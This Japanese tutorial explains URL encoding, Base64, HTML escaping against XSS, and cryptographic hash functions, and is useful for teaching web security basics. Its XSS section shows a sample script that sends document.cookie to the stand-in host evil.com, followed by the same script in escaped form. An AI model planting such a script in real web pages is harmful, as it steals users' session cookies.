データエンコード・エスケープ・暗号学的ハッシュの実践

URLパーセントエンコード、Base64の数学的仕組み、XSS対策のHTMLエスケープ、不可逆な暗号学的ハッシュの違いと使い分けを解説します。

Web開発やシステム設計において、データの変換処理は避けて通れません。HTTPクエリパラメータの成形、JSONへの画像データの埋め込み、クロスサイトスクリプティング(XSS)を防ぐ入力値の無害化、パスワードのハッシュ化など多岐にわたります。

しかし、「エンコード(Encoding)」「エスケープ(Escaping)」「ハッシュ化(Hashing)」はしばしば混同されます。この3つの違いを正しく把握していないと、重大な脆弱性を引き起こす要因になります。

ポイント

  • エンコード(可逆的): 情報の損失なく別フォーマットへ変換する処理(Base64、URLエンコードなど)。
  • エスケープ(文脈依存): 予約文字をコードではなく単なる文字データとしてパーサーに認識させる処理(HTMLエンティティなど)。
  • ハッシュ化(不可逆的): 任意の入力値を固定長のデジタル指紋へと一方向に圧縮し、数学的に逆算できないようにする処理(SHA-256など)。
  • エンコードは暗号化ではない: Base64は安全な秘匿技術ではなく、誰でも即座に復元可能です。

1. URLパーセントエンコード:URIの安全な通信

RFC 3986規格に基づき、URIで使用できる文字はUS-ASCIIの制限されたセットのみです。非予約文字(A-Z, a-z, 0-9, -, _, ., ~)以外の文字は、バイト単位で16進数表記のパーセント形式(%XX)に変換する必要があります。

encodeURIencodeURIComponent の相違点

JavaScriptで適切な関数を選択しないと、API通信の障害になります:

比較項目 encodeURI encodeURIComponent
想定用途 スキームやホスト名を含む完全なURL全体 クエリ文字列のキーまたは値の単位
: / ? # & = + の変換 変換しない(URLの区切り構造を維持) 変換する(すべて %XX に置換)
実行例 encodeURI('https://site.com/search?q=a+b') encodeURIComponent('search term & co')
// Example breakdown
const query = 'developer tools & utilities = free';
console.log(encodeURIComponent(query));
// Output: "developer%20tools%20%26%20utilities%20%3D%20free"

パラメータの検証には当サイトの URL Encoder & Decoder が便利です。

2. Base64エンコード:ASCIIテキストによるバイナリ表現

Base64(RFC 4648)は、バイナリデータを印字可能な64種類のASCII文字(A–Z, a–z, 0–9, +, /、余白埋めの =)のみで表現する規格です。

数学的な仕組み

コンピュータは8ビットのバイト単位でデータを扱います。Base64は24ビット(3バイト)をひとまとめにし、6ビットずつ4つのスライスに分割します($2^6 = 64$ 通り)。

$$\text{3 Bytes (24 bits)} \longrightarrow \text{4 Base64 Characters (6 bits each)}$$

3バイトの入力に対して必ず4文字が出力されるため、Base64に変換するとデータ容量が約33%増加します:

$$\text{Encoded Size} \approx \lceil \frac{N}{3} \rceil \times 4 \text{ bytes}$$

// Browser-native Base64 conversions for text
function textToBase64(str) {
  return btoa(unescape(encodeURIComponent(str)));
}

function base64ToText(b64) {
  return decodeURIComponent(escape(atob(b64)));
}

CSSに小さなアイコンをData URIとして埋め込む際に最適です。Base64 Encoder / Decoder をお試しください。

3. HTMLエスケープ:XSS脆弱性の防止

HTMLエスケープは、構文上の意味を持つ特殊文字を安全な文字実体参照に置き換える処理です:

文字 HTML構文における意味 エスケープ後の実体参照
< タグの開始 &lt;
> タグの終了 &gt;
& 実体参照の開始プレフィックス &amp;
" 属性値のクォート &quot;
' 属性値のクォート &#39;

エスケープを怠って未検証のユーザー入力をHTMLに描画すると、悪意あるスクリプトが実行されてしまいます:

<!-- Vulnerable injection -->
<div>User comment: <script>fetch('https://evil.com?c=' + document.cookie)</script></div>

<!-- Safe escaped rendering -->
<div>User comment: &lt;script&gt;fetch('https://evil.com?c=' + document.cookie)&lt;/script&gt;</div>

変換確認には HTML Entity Encoder / Decoder を活用してください。

4. 暗号学的ハッシュ関数:不可逆なデジタル指紋

エンコードとは根本的に異なり、ハッシュ化は完全な不可逆処理です。安全な暗号学的ハッシュ関数は以下の要件を満たします:

  1. 原像計算困難性(一方向性): ハッシュ値 $h$ から元のデータ $m$ を割り出すことは計算量的に不可能。
  2. 第二原像計算困難性: 入力 $m_1$ が与えられたとき、$H(m_1) = H(m_2)$ となる別の入力 $m_2$ を見つけることは不可能。
  3. 衝突困難性: $H(x) = H(y)$ となる異なる任意の組み合わせ $x \neq y$ を見つけることは不可能。
  4. 雪崩効果(アバランシェ効果): 入力の1ビットが変わるだけで、出力ハッシュ値全体が劇的に変化する。

主なアルゴリズムの比較

アルゴリズム 出力ビット数 衝突耐性の現状 現在の推奨用途
MD5 128 bits (32 hex) 破綻(数秒で衝突を生成可能) セキュリティを要しないチェックサムのみ
SHA-1 160 bits (40 hex) 破綻(2017年にSHAttered攻撃成立) 非推奨。SHA-256へ移行
SHA-256 256 bits (64 hex) 暗号学的に安全 SSL/TLS証明書、Git、APIの標準規格
SHA-512 512 bits (128 hex) 暗号学的に安全 高セキュリティ用途、HMAC認証

安全なトークン生成には UUID GeneratorPassword Generator をご利用ください。

用途ごとの使い分けまとめ

  • URLのパラメータに日本語や記号を含める場合: URLパーセントエンコード
  • バイナリファイルをJSON等に文字列として埋め込む場合: Base64
  • ユーザーが入力した文字列をWebページに表示する場合: HTMLエスケープ
  • ファイルの改ざん検知や同一性確認を行う場合: 暗号学的ハッシュ

よくある質問

Base64は復号できますか? Base64は暗号化ではなくフォーマット変換なので、キーがなくても誰でも元のバイナリに完全に復元できます。

SHA-256はパスワード保存に適していますか? 単体での使用は推奨されません。GPUを使えば毎秒数十億回ものSHA-256を総当たり計算できるため、パスワードの保存にはArgon2idやbcryptのような意図的に計算負荷の高い鍵導出関数が必要です。

URLエンコードのスペースが %20+ に分かれるのはなぜですか? RFC 3986のURIパス仕様では %20 が正式です。一方、Webフォーム送信規格である application/x-www-form-urlencoded では伝統的にスペースを + に置き換える仕様になっています。